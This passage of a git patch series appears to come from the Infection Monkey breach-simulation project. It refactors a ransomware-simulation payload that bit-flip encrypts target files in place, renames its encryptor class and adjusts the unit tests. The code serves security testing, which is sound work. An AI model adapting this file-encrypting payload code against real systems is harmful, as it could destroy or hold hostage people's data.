+2,9 @@ import logging from pathlib import Path from typing import List, Optional, Tuple +from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils.dir_utils import ( - file_extension_filter, - filter_files, - get_all_regular_files_in_directory, - is_not_shortcut_filter, - is_not_symlink_filter, -) from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -36,18 +30,13 @@ class RansomewarePayload: file_list = self._find_files() self._encrypt_files(file_list) - def _find_files(self): + def _find_files(self) -> List[Path]: if not self._target_dir: return [] - file_filters = [ - file_extension_filter(self._valid_file_extensions_for_encryption), - is_not_shortcut_filter, - is_not_symlink_filter, - ] - - all_files = get_all_regular_files_in_directory(Path(self._target_dir)) - return filter_files(all_files, file_filters) + return select_production_safe_target_files( + Path(self._target_dir), self._valid_file_extensions_for_encryption + ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: results = [] From 70480c7011a3e2ea45ee6ce3710903f877078912 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 11:05:34 -0400 Subject: [PATCH 20/22] agent: Rename RansomwareBitflipEncryptor -> BitflipEncryptor --- ...ransomware_bitflip_encryptor.py => bitflip_encryptor.py} | 2 +- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- ...mware_bitflip_encryptor.py => test_bitflip_encryptor.py} | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) rename monkey/infection_monkey/ransomware/{ransomware_bitflip_encryptor.py => bitflip_encryptor.py} (94%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_ransomware_bitflip_encryptor.py => test_bitflip_encryptor.py} (80%) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/bitflip_encryptor.py similarity index 94% rename from monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py rename to monkey/infection_monkey/ransomware/bitflip_encryptor.py index 4c297d4cb..b31f8a409 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/bitflip_encryptor.py @@ -3,7 +3,7 @@ from pathlib import Path from infection_monkey.utils import bit_manipulators -class RansomwareBitflipEncryptor: +class BitflipEncryptor: def __init__(self, chunk_size=64): self._chunk_size = chunk_size diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index edb2e76a4..460b0fb4c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,8 +2,8 @@ import logging from pathlib import Path from typing import List, Optional, Tuple +from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files -from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION from infection_monkey.utils.environment import is_windows_os @@ -24,7 +24,7 @@ class RansomewarePayload: self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) - self._encryptor = RansomwareBitflipEncryptor(chunk_size=CHUNK_SIZE) + self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py similarity index 80% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py index 5dd584778..86066c518 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py @@ -7,7 +7,7 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import hash_file -from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor +from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor def test_file_encrypted(ransomware_target): @@ -15,7 +15,7 @@ def test_file_encrypted(ransomware_target): assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor = BitflipEncryptor(chunk_size=64) encryptor.encrypt_file_in_place(test_keyboard) assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 @@ -26,7 +26,7 @@ def test_file_encrypted_in_place(ransomware_target): expected_inode = os.stat(test_keyboard).st_ino - encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor = BitflipEncryptor(chunk_size=64) encryptor.encrypt_file_in_place(test_keyboard) actual_inode = os.stat(test_keyboard).st_ino From f1e592380bc0aa4d7a57ce54a58c57aa543320db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 07:00:06 -0400 Subject: [PATCH 21/22] agent: Rename test_file_with_included_extension_encrypted --- .../infection_monkey/ransomware/test_ransomware_payload.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 5fb4a00d4..21205d319 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -68,7 +68,7 @@ def test_encryption_not_recursive(ransomware_target, ransomware_payload): assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 -def test_file_with_included_extension_encrypted(ransomware_target, ransomware_payload): +def test_all_files_with_included_extension_encrypted(ransomware_target, ransomware_payload): assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From ef209a693c47689de0a05b5686a801b795cbe6d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Jun 2021 07:00:44 -0400 Subject: [PATCH 22/22] agent: Remove second file from test_file_encrypted_in_place() --- .../infection_monkey/ransomware/test_ransomware_payload.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 21205d319..d5a155f48 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -85,17 +85,14 @@ def test_all_files_with_included_extension_encrypted(ransomware_target, ransomwa def test_file_encrypted_in_place(ransomware_target, ransomware_payload): - expected_all_zeros_inode = os.stat(ransomware_target / ALL_ZEROS_PDF).st_ino expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(ransomware_target / with_extension(ALL_ZEROS_PDF)).st_ino actual_test_keyboard_inode = os.stat( ransomware_target / with_extension(TEST_KEYBOARD_TXT) ).st_ino - assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode